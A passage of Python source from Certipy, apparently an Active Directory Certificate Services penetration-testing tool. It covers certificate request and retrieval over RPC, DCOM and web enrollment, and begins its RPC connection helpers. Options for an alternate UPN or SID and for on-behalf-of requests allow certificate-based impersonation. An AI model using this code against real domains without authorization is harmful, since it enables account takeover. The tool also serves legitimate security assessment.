DISPOSITION_SUCCESS = 3 DISPOSITION_PENDING = 5 # ========================================================================= # Protocol Structures for MS-WCCE and MS-ICPR # ========================================================================= class CERTTRANSBLOB(NDRSTRUCT): """ ASN.1 structure for certificate data transfer. Defined in [MS-WCCE] section 2.2.2.2 """ structure = ( ("cb", ULONG), # Size of the pb field ("pb", PBYTE), # Certificate data ) class CertServerRequest(NDRCALL): """ RPC interface for certificate requests. Defined in [MS-ICPR] section 3.1.4.1 """ opnum = 0 structure = ( ("dwFlags", DWORD), # Request flags ("pwszAuthority", LPWSTR), # CA name ("pdwRequestId", DWORD), # Request ID ("pctbAttribs", CERTTRANSBLOB), # Request attributes ("pctbRequest", CERTTRANSBLOB), # Certificate request data ) class CertServerRequestD(DCOMCALL): """ DCOM interface for certificate requests. Defined in [MS-WCCE] section 3.1.1.4.3 """ opnum = 3 structure = ( ("dwFlags", DWORD), # Request flags ("pwszAuthority", LPWSTR), # CA name ("pdwRequestId", DWORD), # Request ID ("pwszAttributes", LPWSTR), # Request attributes ("pctbRequest", CERTTRANSBLOB), # Certificate request data ) class CertServerRequestResponse(NDRCALL): """ RPC response structure for certificate requests. Defined in [MS-ICPR] section 3.1.4.1 """ structure = ( ("pdwRequestId", DWORD), # Request ID ("pdwDisposition", ULONG), # Request status ("pctbCert", CERTTRANSBLOB), # Certificate data ("pctbEncodedCert", CERTTRANSBLOB), # DER-encoded certificate ("pctbDispositionMessage", CERTTRANSBLOB), # Error message if applicable ) class CertServerRequestDResponse(DCOMANSWER): """ DCOM response structure for certificate requests. Defined in [MS-WCCE] section 3.1.1.4.3 """ structure = ( ("pdwRequestId", DWORD), # Request ID ("pdwDisposition", ULONG), # Request status ("pctbCertChain", CERTTRANSBLOB), # Certificate chain data ("pctbEncodedCert", CERTTRANSBLOB), # DER-encoded certificate ("pctbDispositionMessage", CERTTRANSBLOB), # Error message if applicable ) class ICertRequestD(ICertCustom): """ ICertRequestD DCOM interface implementation. """ def __init__(self, interface: IRemUnknown2): """ Initialize the ICertRequestD interface. Args: interface: IRemUnknown2 interface from DCOM connection """ super().__init__(interface) self._iid = IID_ICertRequestD class DCERPCSessionError(rpcrt.DCERPCException): """ Custom exception for handling certificate request errors. Enhances error messages by translating error codes to human-readable messages. """ def __init__( self, error_string: Any = None, error_code: Any = None, packet: Any = None ): """ Initialize the DCERPCSessionError. Args: error_string: Error description error_code: Numeric error code packet: The RPC packet that caused the error """ rpcrt.DCERPCException.__init__(self, error_string, error_code, packet) def __str__(self) -> str: """ Format the error message with translated error code. Returns: Human-readable error message """ self.error_code &= 0xFFFFFFFF # type: ignore error_msg = translate_error_code(self.error_code) return f"RequestSessionError: {error_msg}" # ========================================================================= # Request Interface Protocol # ========================================================================= class RequestInterface(Protocol): """ Protocol defining the interface for certificate request operations. This is the base class for different request methods (RPC, DCOM, Web). """ parent: "Request" def __init__(self, parent: "Request"): """ Initialize the request interface. Args: parent: The parent Request object """ self.parent = parent def retrieve(self, request_id: int) -> Union[x509.Certificate, None]: """ Retrieve a certificate by request ID. Args: request_id: The request ID to retrieve Returns: Certificate object if successful, None on failure """ ... def request( self, csr: bytes, attributes_list: List[str] ) -> Union[x509.Certificate, None]: """ Submit a certificate request. Args: csr: Certificate signing request data attributes_list: List of certificate attributes Returns: Certificate object if successful, None on failure """ ... # ========================================================================= # Response Handlers # ========================================================================= def handle_rpc_retrieve_response( response: Dict[str, Any], ) -> Optional[x509.Certificate]: """ Process the RPC certificate retrieval response. Args: response: The RPC response dictionary Returns: Certificate object if successful, None otherwise """ error_code = response["pdwDisposition"] if error_code == DISPOSITION_SUCCESS: logging.info("Successfully retrieved certificate") cert = der_to_cert(b"".join(response["pctbEncodedCert"]["pb"])) return cert # Handle non-success cases if error_code == DISPOSITION_PENDING: logging.warning("Certificate request is still pending approval") else: error_msg = translate_error_code(error_code) disposition_message = b"".join(response["pctbDispositionMessage"]["pb"]).decode( "utf-16le" ) if "unknown error code" in error_msg: logging.error( f"Got unknown error while retrieving certificate: ({error_msg}): {disposition_message}" ) else: logging.error(f"Got error while retrieving certificate: {error_msg}") return None def handle_rpc_request_response( response: Dict[str, Any], ) -> Union[x509.Certificate, int]: """ Process the RPC certificate request response. Args: response: The RPC response dictionary Returns: Certificate object if immediately successful, or request ID if pending/failed """ error_code = response["pdwDisposition"] request_id = response["pdwRequestId"] # Always log the request ID logging.info(f"Request ID is {request_id}") # Handle success case if error_code == DISPOSITION_SUCCESS: logging.info("Successfully requested certificate") cert = der_to_cert(b"".join(response["pctbEncodedCert"]["pb"])) return cert # Handle non-success cases if error_code == DISPOSITION_PENDING: logging.warning("Certificate request is pending approval") else: error_msg = translate_error_code(error_code) disposition_message = b"".join(response["pctbDispositionMessage"]["pb"]).decode( "utf-16le" ) if "unknown error code" in error_msg: logging.error( f"Got unknown error while requesting certificate: ({error_msg}): {disposition_message}" ) else: logging.error(f"Got error while requesting certificate: {error_msg}") return request_id # ============== Certificate Processing Functions ============== def handle_request_response( cert: x509.Certificate, key: PrivateKeyTypes, username: str, subject: Optional[str] = None, alt_sid: Optional[str] = None, out: Optional[str] = None, pfx_password: Optional[str] = None, ) -> Tuple[bytes, str]: """ Process a successful certificate request by saving the certificate and private key. Args: cert: The issued certificate key: The private key username: The username associated with the certificate subject: Optional subject name alt_sid: Optional alternate SID out: Optional output filename pfx_password: Optional PFX password Returns: Tuple of (pfx_data, output_filename) """ # Log subject info if available if subject: subject_str = ",".join(map(lambda x: x.rfc4514_string(), cert.subject.rdns)) logging.info(f"Got certificate with subject: {subject_str}") # Extract and display certificate information identities = get_identities_from_certificate(cert) print_certificate_identities(identities) # Check and log object SID information object_sid = get_object_sid_from_certificate(cert) if object_sid is not None: logging.info(f"Certificate object SID is {object_sid!r}") else: logging.info("Certificate has no object SID") if not alt_sid: logging.info( "Try using -sid to set the object SID or see the wiki for more details" ) # Determine output filename out_filename = _determine_output_filename(out, identities, username) # Create PFX and save to file pfx = create_pfx(key, cert, pfx_password) outfile = f"{out_filename}.pfx" logging.info(f"Saving certificate and private key to {outfile!r}") saved_path = try_to_save_file(pfx, outfile) logging.info(f"Wrote certificate and private key to {saved_path!r}") return pfx, saved_path def handle_retrieve( cert: x509.Certificate, request_id: int, username: str, out: Optional[str] = None, pfx_password: Optional[str] = None, ) -> bool: """ Process a retrieved certificate by saving it with the private key if available. Args: cert: The retrieved certificate request_id: The certificate request ID username: The username associated with the certificate out: Optional output filename pfx_password: Optional PFX password Returns: True if successful """ # Extract and display certificate information identities = get_identities_from_certificate(cert) print_certificate_identities(identities) # Check and log object SID information object_sid = get_object_sid_from_certificate(cert) if object_sid is not None: logging.info(f"Certificate object SID is {object_sid!r}") else: logging.info("Certificate has no object SID") # Determine output filename out_filename = _determine_output_filename(out, identities, username) # Try to find matching private key and save as PFX if found try: key_path = f"{request_id}.key" with open(key_path, "rb") as f: key = pem_to_key(f.read()) logging.info(f"Loaded private key from {key_path!r}") pfx = create_pfx(key, cert, pfx_password) output_path = f"{out_filename}.pfx" logging.info(f"Saving certificate and private key to {output_path!r}") saved_path = try_to_save_file(pfx, output_path) logging.info(f"Wrote certificate and private key to {saved_path!r}") except Exception: # If no key found, save just the certificate as PEM logging.warning( "Could not find matching private key. Saving certificate as PEM" ) handle_error(True) output_path = f"{out_filename}.crt" logging.info(f"Saving certificate to {output_path!r}") saved_path = try_to_save_file(cert_to_pem(cert), output_path) logging.info(f"Wrote certificate to {saved_path!r}") return True def handle_pending_key_save( request_id: int, key: PrivateKeyTypes, out: Optional[str] = None ) -> None: """ Offer to save the private key for pending certificate requests. Args: request_id: The certificate request ID key: The private key to save out: Optional output filename for the private key """ should_save = input("Would you like to save the private key? (y/N): ") if should_save.strip().lower() == "y": output_path = f"{out if out is not None else str(request_id)}.key" try: logging.info(f"Saving private key to {output_path!r}") saved_path = try_to_save_file(key_to_pem(key), output_path) logging.info(f"Wrote private key to {saved_path!r}") except Exception as e: logging.error(f"Failed to save private key: {e}") handle_error() # ========================================================================= # Web Request Handlers # ========================================================================= def web_request( session: httpx.Client, username: str, csr: Union[str, bytes, x509.CertificateSigningRequest], attributes_list: List[str], template: str, key: PrivateKeyTypes, out: Optional[str] = None, ) -> Optional[x509.Certificate]: """ Request a certificate via the web enrollment interface. Args: session: HTTP session client username: Username for the certificate csr: Certificate signing request (bytes or object) attributes_list: List of certificate attributes template: Certificate template name key: Private key for the certificate out: Optional output filename Returns: Certificate if immediately issued, None otherwise """ # Convert CSR to PEM format if needed if isinstance(csr, x509.CertificateSigningRequest): csr_pem = csr_to_pem(csr).decode() elif isinstance(csr, bytes): csr_pem = der_to_pem(csr, "CERTIFICATE REQUEST") else: # Already in PEM format csr_pem = csr attributes = "\n".join(attributes_list) # Build request parameters params = { "Mode": "newreq", "CertAttrib": attributes, "CertRequest": csr_pem, "TargetStoreFlags": "0", "SaveCert": "yes", "ThumbPrint": "", } logging.info( f"Requesting certificate for {username!r} based on the template {template!r}" ) # Send certificate request try: res = session.post("/certsrv/certfnsh.asp", data=params) content = res.text # Handle HTTP errors if res.status_code != 200: logging.error(f"Failed to request certificate (HTTP {res.status_code})") _log_response_if_verbose(content) return None # Check for successful issuance (certificate ready for download) request_id_matches = re.findall(r"certnew.cer\?ReqID=([0-9]+)&", content) if request_id_matches: request_id = int(request_id_matches[0]) logging.info(f"Certificate issued with request ID {request_id}") return web_retrieve(session, request_id) # Handle various error conditions if "template that is not supported" in content: logging.error(f"Template {template!r} is not supported by AD CS") else: # Try to find request ID in other format request_id_matches = re.findall(r"Your Request Id is ([0-9]+)", content) if request_id_matches: request_id = int(request_id_matches[0]) logging.info(f"Request ID is {request_id}") if "Certificate Pending" in content: logging.warning("Certificate request is pending approval") elif '"Denied by Policy Module"' in content: _handle_policy_denial(session, request_id) else: _handle_other_errors(content) else: _handle_other_errors(content) # For pending requests, save the private key if requested request_id_matches = re.findall(r"Your Request Id is ([0-9]+)", content) if request_id_matches: request_id = int(request_id_matches[0]) handle_pending_key_save(request_id, key, out) return None except Exception as e: logging.error(f"Error during web certificate request: {e}") handle_error() return None def web_retrieve( session: httpx.Client, request_id: int, ) -> Optional[x509.Certificate]: """ Retrieve a certificate via the web enrollment interface. Args: session: HTTP session client request_id: The certificate request ID Returns: Certificate if successfully retrieved, None otherwise """ logging.info(f"Retrieving certificate for request ID: {request_id}") try: # Request the certificate res = session.get("/certsrv/certnew.cer", params={"ReqID": request_id}) if res.status_code != 200: logging.error(f"Error retrieving certificate (HTTP {res.status_code})") _log_response_if_verbose(res.text) return None # Handle PEM-format certificate if b"BEGIN CERTIFICATE" in res.content: return pem_to_cert(res.content) # Handle DER-format certificate if res.headers.get("Content-Type") == "application/pkix-cert": return der_to_cert(res.content) # Handle error conditions content = res.text if "Taken Under Submission" in content: logging.warning("Certificate request is pending approval") elif "The requested property value is empty" in content: logging.warning(f"Unknown request ID {request_id}") else: # Try to extract error code error_codes = re.findall(r" (0x[0-9a-fA-F]+) \(", content) try: error_code_int = int(error_codes[0], 16) msg = translate_error_code(error_code_int) logging.warning(f"Got error from AD CS: {msg}") except Exception: logging.warning("Got unknown error from AD CS") _log_response_if_verbose(content) return None except Exception as e: logging.error(f"Error during web certificate retrieval: {e}") handle_error() return None # ========================================================================= # Helper Functions # ========================================================================= def _determine_output_filename( out: Optional[str], identities: List[Tuple[str, str]], username: str ) -> str: """ Determine the output filename to use for saving certificates/keys. Args: out: User-specified output name (if any) identities: List of certificate identities username: The username associated with the certificate Returns: The output filename (without extension) """ if out is not None: return out.removesuffix(".pfx") # Try to derive filename from certificate identity cert_username, _ = cert_id_to_parts(identities) # type: ignore if cert_username is not None: return cert_username.rstrip("$").lower() # Fallback to provided username return username.rstrip("$").lower() def _handle_policy_denial(session: httpx.Client, request_id: int) -> None: """ Handle certificate request denied by policy. Args: session: HTTP session client request_id: The certificate request ID """ try: res = session.get("/certsrv/certnew.cer", params={"ReqID": request_id}) error_codes = re.findall( r"(0x[a-zA-Z0-9]+) \([-]?[0-9]+ ", res.text, flags=re.MULTILINE ) if error_codes: error_msg = translate_error_code(int(error_codes[0], 16)) logging.error(f"Certificate request denied: {error_msg}") else: logging.error( "Certificate request denied by policy module (no error code available)" ) _log_response_if_verbose(res.text) except Exception as e: logging.error(f"Error retrieving denial details: {e}") handle_error(True) def _handle_other_errors(content: str) -> None: """ Handle other certificate request errors. Args: content: Response content """ error_code_matches = re.findall( r"Denied by Policy Module (0x[0-9a-fA-F]+),", content ) try: if error_code_matches: error_code = int(error_code_matches[0], 16) msg = translate_error_code(error_code) logging.error(f"Got error from AD CS: {msg}") else: # Try other error code formats error_codes = re.findall(r"Error Number: (0x[0-9a-fA-F]+)", content) if error_codes: error_code = int(error_codes[0], 16) msg = translate_error_code(error_code) logging.error(f"Got error from AD CS: {msg}") else: logging.error("Unknown error from AD CS") _log_response_if_verbose(content) except Exception: logging.error("Failed to parse error message from AD CS") _log_response_if_verbose(content) def _log_response_if_verbose(content: str) -> None: """ Log response content if verbose logging is enabled. Args: content: Response content to log """ if is_verbose(): print(content) else: logging.warning("Use -debug to print the response") # ========================================================================= # Request Interface Implementations # ========================================================================= class DCOMRequestInterface: """ Request interface for DCOM communication with Certificate Services. """ def __init__(self, parent: "Request"): """ Initialize the DCOM request interface. Args: parent: The parent Request object """ self.parent = parent self._dcom: Optional[DCOMConnection] = None @property def dcom(self) -> DCOMConnection: """ Get or establish a DCOM connection to the certificate authority. Returns: Active DCOM connection Raises: Exception: If target is not set or connection fails """ if self._dcom is not None: return self._dcom self._dcom = get_dcom_connection(self.parent.target) return self._dcom def retrieve(self, request_id: int) -> Optional[x509.Certificate]: """ Retrieve a certificate by request ID via DCOM. Args: request_id: The request ID to retrieve Returns: Certificate object if successful, None on failure """ # Prepare empty blob for request empty = CERTTRANSBLOB() empty["cb"] = 0 empty["pb"] = NULL # Build the request structure request = CertServerRequestD() request["dwFlags"] = 0 request["pwszAuthority"] = checkNullString(self.parent.ca) request["pdwRequestId"] = request_id request["pwszAttributes"] = empty request["pctbRequest"] = empty logging.info(f"Retrieving certificate with ID {request_id}") # Create and configure the DCOM interface i_cert_req = self.dcom.CoCreateInstanceEx(CLSID_ICertRequest, IID_ICertRequestD) i_cert_req.get_cinstance().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) # type: ignore # Submit the request cert_req_d = ICertRequestD(i_cert_req) response = cert_req_d.request(request) result = handle_rpc_request_response(response) if isinstance(result, int): return None return result def request( self, csr: bytes, attributes_list: List[str] ) -> Optional[x509.Certificate]: """ Submit a certificate request via DCOM. Args: csr: Certificate signing request data attributes_list: List of certificate attributes Returns: Certificate object if successful, None on failure """ # Check if the private key is available if self.parent.key is None: raise Exception("No private key found") # Format attributes attributes = checkNullString("\n".join(attributes_list)) # Prepare the certificate request data pctb_request = CERTTRANSBLOB() pctb_request["cb"] = len(csr) pctb_request["pb"] = csr # Build the request structure request = CertServerRequestD() request["dwFlags"] = 0 request["pwszAuthority"] = checkNullString(self.parent.ca) request["pdwRequestId"] = self.parent.request_id or 0 request["pwszAttributes"] = attributes request["pctbRequest"] = pctb_request logging.info("Requesting certificate via DCOM") # Create and configure the DCOM interface i_cert_req = self.dcom.CoCreateInstanceEx(CLSID_ICertRequest, IID_ICertRequestD) i_cert_req.get_cinstance().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) # type: ignore # Submit the request cert_req_d = ICertRequestD(i_cert_req) response = cert_req_d.request(request) result = handle_rpc_request_response(response) if isinstance(result, x509.Certificate): return result # Ask if the user wants to save the private key for pending requests handle_pending_key_save(result, self.parent.key, self.parent.out) return None class RPCRequestInterface: """ Request interface for RPC communication with Certificate Services. """ def __init__(self, parent: "Request"): """ Initialize the RPC request interface. Args: parent: The parent Request object """ self.parent = parent self._dce = None @property def dce(self) -> Optional[rpcrt.DCERPC_v5]: """ Get or establish an RPC connection to the certificate authority. Returns: Active RPC connection Raises: Exception: If target is not set or connection fails """ if self._dce is not None: return self._dce if not MSRPC_UUID_ICPR: # Should never happen raise Exception("Failed to get MSRPC UUID for ICertRequest") self._dce = get_dce_rpc( MSRPC_UUID_ICPR, "\\pipe\\cert", self.parent.target, timeout=self.parent.target.timeout, dynamic=self.parent.dynamic, ) return self._dce def dce_request(self, request: NDRCALL) -> Dict[str, Any]: """ Send a DCE RPC request and handle the response. This wrapper method properly handles the DCE RPC request to ensure static code analysis tools correctly understand the return value. The underlying impacket.dcerpc.v5.rpcrt.DCERPC_v5.request method has type annotation issues that cause some analyzers to think it never returns. Args: request: The RPC request structure to send Returns: Dict containing the parsed response Raises: Exception: If the DCE RPC connection isn't established or request fails """ if self.dce is None: raise Exception("Failed to get DCE RPC connection") # Call the underlying request method with error checking disabled # We manually handle errors to provide better error messages return self.dce.request(request, checkError=False) def retrieve(self, request_id: int) -> Optional[x509.Certificate]: """ Retrieve a certificate by request ID via RPC. Args: request_id: The request ID to retrieve Returns: Certificate object if successful, False on failure """ # Prepare empty blob for request empty = CERTTRANSBLOB() empty["cb"] = 0 empty["pb"] = NULL # Build the request structure request = CertServerRequest() request["dwFlags"] = 0 request["pwszAuthority"] = checkNullString(self.parent.ca) request["pdwRequestId"] = request_id request["pctbAttribs"] = empty request["pctbRequest"] = empty logging.info(f"Retrieving certificate with ID {request_id}") # Submit the request response = self.dce_request(request) # Process the response return handle_rpc_retrieve_response(response) def request( self, csr: bytes, attributes_list: List[str] ) -> Optional[x509.Certificate]: """ Submit a certificate request via RPC. Args: csr: Certificate signing request data attributes_list: List of certificate attributes Returns: Certificate object if successful, False on failure """ # Check if the private key is available if self.parent.key is None: raise Exception("No private key found") # Format attributes attributes = checkNullString("\n".join(attributes_list)).encode("utf-16le") # Prepare attribute blob pctb_attribs = CERTTRANSBLOB() pctb_attribs["cb"] = len(attributes) pctb_attribs["pb"] = attributes # Prepare request blob pctb_request = CERTTRANSBLOB() pctb_request["cb"] = len(csr) pctb_request["pb"] = csr # Build the request structure request = CertServerRequest() request["dwFlags"] = 0 request["pwszAuthority"] = checkNullString(self.parent.ca) request["pdwRequestId"] = self.parent.request_id or 0 request["pctbAttribs"] = pctb_attribs request["pctbRequest"] = pctb_request logging.info("Requesting certificate via RPC") if self.dce is None: raise Exception("Failed to get DCE RPC connection") # Submit the request response = self.dce_request(request) result = handle_rpc_request_response(response) if isinstance(result, x509.Certificate): return result # Ask if the user wants to save the private key for pending requests handle_pending_key_save(result, self.parent.key, self.parent.out) return None class WebRequestInterface: """ Request interface for Web Enrollment communication with Certificate Services. """ def __init__(self, parent: "Request"): """ Initialize the Web Enrollment request interface. Args: parent: The parent Request object """ self.parent = parent self.target = self.parent.target self._session = None self.base_url = "" @property def session(self) -> Optional[httpx.Client]: """ Get or establish an HTTP session to the certificate authority. Returns: Active HTTP session, or None if connection failed Raises: Exception: If target is not set or connection fails """ if self._session is not None: return self._session # Try the specified scheme and port first scheme = self.parent.http_scheme or "https" port = self.parent.http_port or (443 if scheme == "https" else 80) base_url = f"{scheme}://{self.target.target_ip}:{port}" # Create a session with httpx with appropriate authentication if self.target.do_kerberos: session = httpx.Client( base_url=base_url, auth=HttpxKerberosAuth( self.target, channel_binding=not self.parent.no_channel_binding ), timeout=self.target.timeout, verify=False, ) else: session = httpx.Client( base_url=base_url, auth=HttpxNtlmAuth( self.target, channel_binding=not self.parent.no_channel_binding ), timeout=self.target.timeout, verify=False, ) logging.info(f"Checking for Web Enrollment on {base_url!r}") success = self._try_connection(session) # If the first attempt fails, try the alternative scheme if not success: alt_scheme = "http" if scheme == "https" else "https" alt_port = 80 if alt_scheme == "http" else 443 base_url = f"{alt_scheme}://{self.target.target_ip}:{alt_port}" logging.info(f"Trying to connect to Web Enrollment interface {base_url!r}") session.base_url = base_url success = self._try_connection(session) if not success: logging.error("Could not connect to Web Enrollment") return None self.base_url = base_url self._session = session return self._session def _try_connection(self, session: httpx.Client) -> bool: """ Try to connect to the Web Enrollment interface. Args: session: HTTP session to use base_url: Base URL to connect to Returns: True if connection was successful, False otherwise """ headers = { "User-Agent": USER_AGENT, } host_value = self.target.remote_name or self.target.target_ip if host_value: headers["Host"] = host_value try: res = session.get( "/certsrv/", headers=headers, timeout=self.target.timeout, follow_redirects=False, ) if res.status_code == 200: return True elif res.status_code == 401: logging.error( f"Unauthorized for Web Enrollment at {session.base_url!r}" ) else: logging.warning( f"Failed to authenticate to Web Enrollment at {session.base_url!r}" ) logging.debug(f"Got status code: {res.status_code!r}") if is_verbose(): print(res.text) except Exception as e: logging.warning(f"Failed to connect to Web Enrollment interface: {e}") handle_error(True) return False def retrieve(self, request_id: int) -> Optional[x509.Certificate]: """ Retrieve a certificate by request ID via Web Enrollment. Args: request_id: The request ID to retrieve Returns: Certificate object if successful, None on failure """ if self.session is None: raise Exception("Failed to get HTTP session") return web_retrieve( self.session, request_id, ) def request( self, csr: bytes, attributes_list: List[str] ) -> Optional[x509.Certificate]: """ Submit a certificate request via Web Enrollment. Args: csr_bytes: Certificate signing request data attributes_list: List of certificate attributes Returns: Certificate object if successful, None on failure """ # Check if the private key is available if self.parent.key is None: raise Exception("No private key found") if self.session is None: raise Exception("Failed to get HTTP session") return web_request( self.session, self.target.username, csr, attributes_list, self.parent.template, self.parent.key, self.parent.out, ) # ========================================================================= # Main Request class # ========================================================================= class Request: """ Main class for certificate operations with AD CS. This class provides functionality for requesting, retrieving, and managing certificates from Active Directory Certificate Services. """ def __init__( self, target: Target, ca: Optional[str] = None, template: str = "User", upn: Optional[str] = None, dns: Optional[str] = None, sid: Optional[str] = None, subject: Optional[str] = None, application_policies: Optional[List[str]] = None, smime: Optional[str] = None, retrieve: Optional[int] = None, on_behalf_of: Optional[str] = None, pfx: Optional[str] = None, pfx_password: Optional[str] = None, key_size: int = 2048, archive_key: bool = False, cax_cert: bool = False, renew: bool = False, out: Optional[str] = None, key: Optional[rsa.RSAPrivateKey] = None, web: bool = False, dcom: bool = False, http_scheme: Optional[str] = None, http_port: Optional[int] = None, no_channel_binding: bool = False, dynamic_endpoint: bool = False, **kwargs, # type: ignore ): """ Initialize a certificate request object. Args: target: Target information including host and authentication ca: Certificate Authority name template: Certificate template name upn: Alternative UPN (User Principal Name) dns: Alternative DNS name sid: Alternative SID (Security Identifier) subject: Certificate subject name application_policies: List of application policy OIDs smime: SMIME capability identifier retrieve: Request ID to retrieve on_behalf_of: Username to request on behalf of pfx: Path to PKCS#12/PFX file pfx_password: Password for PFX file key_size: RSA key size in bits archive_key: Whether to archive the private key cax_cert: Whether to retrieve the CAX certificate renew: Whether to renew an existing certificate out: Output file path key: Pre-generated RSA key web: Use Web Enrollment instead of RPC dcom: Use DCOM instead of RPC port: Port for Web Enrollment scheme: Scheme for Web Enrollment (http/https) dynamic_endpoint: Use dynamic RPC endpoint """ # Core parameters self.target = target self.ca = ca self.template = template self.alt_upn = upn self.alt_dns = dns self.alt_sid = sid self.subject = subject self.request_id = int(retrieve) if retrieve else None self.on_behalf_of = on_behalf_of self.pfx = pfx self.pfx_password = pfx_password self.key_size = key_size self.archive_key = archive_key self.cax_cert = cax_cert self.renew = renew self.out = out self.key = key # Convert application policy names to OIDs self.application_policies = [ OID_TO_STR_NAME_MAP.get(policy.lower(), policy) for policy in (application_policies or []) ] self.smime = smime # Connection parameters self.web = web self.dcom = dcom self.http_port = http_port self.http_scheme = http_scheme self.no_channel_binding = no_channel_binding # Handle default ports based on scheme if not self.http_port and self.http_scheme: if self.http_scheme == "http": self.http_port = 80 elif self.http_scheme == "https": self.http_port = 443 self.dynamic = dynamic_endpoint self.kwargs = kwargs # Interface is initialized on demand self._interface = None @property def interface(self) -> RequestInterface: """ Get the appropriate request interface based on configuration. Returns: Configured request interface instance """ if self._interface is not None: return self._interface # Select interface based on configuration if self.web: self._interface = WebRequestInterface(self) elif self.dcom: self._interface = DCOMRequestInterface(self) else: self._interface = RPCRequestInterface(self) return self._interface def retrieve(self) -> bool: """ Retrieve a certificate by request ID. Returns: True if successful, False otherwise """ if self.request_id is None: logging.error("No request ID specified") return False request_id = int(self.request_id) # Retrieve the certificate using the appropriate interface cert = self.interface.retrieve(request_id) if cert is False or cert is None: logging.error("Failed to retrieve certificate") return False handle_retrieve( cert, request_id, self.target.username, self.out, self.pfx_password ) return True def request(self) -> Union[bool, Tuple[bytes, str]]: """ Request a new certificate from AD CS. Returns: PFX data and filename if successful, False otherwise """ # Determine username for certificate username = self.target.username # Validate request options if sum(map(bool, [self.archive_key, self.on_behalf_of, self.renew])) > 1: logging.error( "Combinations of -renew, -on-behalf-of, and -archive-key are currently not supported" ) return False # Handle on-behalf-of requests if self.on_behalf_of: username = self.on_behalf_of if self.on_behalf_of.count("\\") > 0: parts = username.split("\\") username = "\\".join(parts[1:]) domain = parts[0] if "." in domain: logging.warning( "Domain part of '-on-behalf-of' should not be a FQDN" ) # Handle certificate renewal renewal_cert = None renewal_key = None if self.renew: if self.pfx is None: logging.error( "A certificate and private key (-pfx) is required for renewal" ) return False with open(self.pfx, "rb") as f: renewal_key, renewal_cert = load_pfx(f.read()) if not renewal_key or not renewal_cert: logging.error("Failed to load certificate and private key from PFX") return False # Create the CSR csr, key = create_csr( username, alt_dns=self.alt_dns, alt_upn=self.alt_upn, alt_sid=self.alt_sid, subject=self.subject, key_size=self.key_size, application_policies=self.application_policies, smime=self.smime, key=self.key, renewal_cert=renewal_cert, ) self.key = key # Convert CSR to DER format csr_der = csr_to_der(csr) # Handle key archival if self.archive_key: ca = CA(self.target, self.ca) logging.info("Trying to retrieve CAX certificate") cax_cert = ca.get_exchange_certificate() logging.info("Retrieved CAX certificate") csr_der = create_key_archival(der_to_csr(csr_der), self.key, cax_cert) # Handle certificate renewal if self.renew: if not renewal_cert or not renewal_key: logging.error( "A certificate and private key (-pfx) is required for renewal" ) return False if not isinstance(renewal_key, rsa.RSAPrivateKey): logging.error("Currently only RSA keys are supported for renewal") return False csr_der = create_renewal(csr_der, renewal_cert, renewal_key) # Handle on-behalf-of requests if self.on_behalf_of: if self.pfx is None: logging.error( "A certificate and private key (-pfx) is required for on-behalf-of requests" ) return False with open(self.pfx, "rb") as f: agent_key, agent_cert = load_pfx(f.read()) if agent_key is None or agent_cert is None: logging.error( f"Failed to load certificate and private key from {self.pfx}" ) return False if not isinstance(agent_key, rsa.RSAPrivateKey): logging.error( "Currently only RSA keys are supported for on-behalf-of requests" ) return False csr_der = create_on_behalf_of( csr_der, self.on_behalf_of, agent_cert, agent_key ) # Construct attributes list attributes = create_csr_attributes( self.template, self.alt_dns, self.alt_upn, self.alt_sid, self.application_policies, ) # Submit the certificate request cert = self.interface.request(csr_der, attributes) if cert is False or cert is None: logging.error("Failed to request certificate") return False return handle_request_response( cert, key, username, subject=self.subject, alt_sid=self.alt_sid, out=self.out, pfx_password=self.pfx_password, ) def get_cax(self) -> Union[bool, bytes]: """ Retrieve the CAX (Exchange) certificate. Returns: CAX certificate in DER format if successful, False otherwise """ ca = CA(self.target, self.ca) logging.info("Trying to retrieve CAX certificate") cax_cert = ca.get_exchange_certificate() logging.info("Retrieved CAX certificate") cax_cert_der = cert_to_der(cax_cert) return cax_cert_der Certipy-5.1.0/certipy/lib/rpc.py000077500000000000000000000210001521657466500165340ustar00rootroot00000000000000""" RPC (Remote Procedure Call) utilities for Certipy. This module provides functions for establishing RPC connections to remote services, including DCOM, named pipes, and dynamic endpoints. It supports various authentication methods including Kerberos and NTLM. """ from typing import Optional from impacket import uuid from impacket.dcerpc.v5 import epm, rpcrt, transport from impacket.dcerpc.v5.dcomrt import DCOMConnection from certipy.lib.errors import handle_error from certipy.lib.kerberos import get_tgs from certipy.lib.logger import is_verbose, logging from certipy.lib.target import Target def get_dcom_connection(target: Target) -> DCOMConnection: """ Establish a DCOM connection to the target. Args: target: Target object containing connection parameters Returns: DCOMConnection object for the target Notes: Uses Kerberos authentication if target.do_kerberos is True """ tgs = None username = target.username domain = target.domain logging.debug(f"Trying to get DCOM connection for: {target.target_ip!r}") # Get Kerberos ticket if needed if target.do_kerberos: if not target.remote_name: logging.warning("Target remote name is not set.") kdc_rep, cipher, session_key, username, domain = get_tgs( target, target_name=target.remote_name, ) tgs = {"KDC_REP": kdc_rep, "cipher": cipher, "sessionKey": session_key} # Create DCOM connection dcom = DCOMConnection( target.target_ip, username=username, password=target.password or "", domain=domain, lmhash=target.lmhash, nthash=target.nthash, TGS=tgs, doKerberos=target.do_kerberos, kdcHost=target.dc_ip, ) return dcom def get_dce_rpc_from_string_binding( string_binding: str, target: Target, timeout: int = 5, target_ip: Optional[str] = None, remote_name: Optional[str] = None, auth_level: int = rpcrt.RPC_C_AUTHN_LEVEL_PKT_PRIVACY, ) -> rpcrt.DCERPC_v5: """ Create a DCE RPC connection from a string binding. Args: string_binding: The RPC string binding (e.g., "ncacn_np:server[pipe]") target: Target object containing authentication parameters timeout: Connection timeout in seconds target_ip: Override target IP address (uses target.target_ip if None) remote_name: Override remote name (uses target.remote_name if None) auth_level: Authentication level for the connection Returns: Configured DCERPC_v5 object (not connected) Notes: The returned object needs to be connected with dce.connect() """ if target_ip is None: target_ip = target.target_ip or "" if remote_name is None: remote_name = target.remote_name # Create RPC transport rpctransport = transport.DCERPCTransportFactory(string_binding) rpctransport.setRemoteHost(target_ip) rpctransport.setRemoteName(remote_name) rpctransport.set_connect_timeout(timeout) rpctransport.set_kerberos(target.do_kerberos, kdcHost=target.dc_ip) username = target.username domain = target.domain tgs = None # Get Kerberos ticket if needed if target.do_kerberos: if not remote_name: logging.warning("Target remote name is not set.") kdc_rep, cipher, session_key, username, domain = get_tgs( target, target_name=remote_name, ) tgs = {"KDC_REP": kdc_rep, "cipher": cipher, "sessionKey": session_key} # Set credentials on the transport rpctransport.set_credentials( username, target.password, domain, 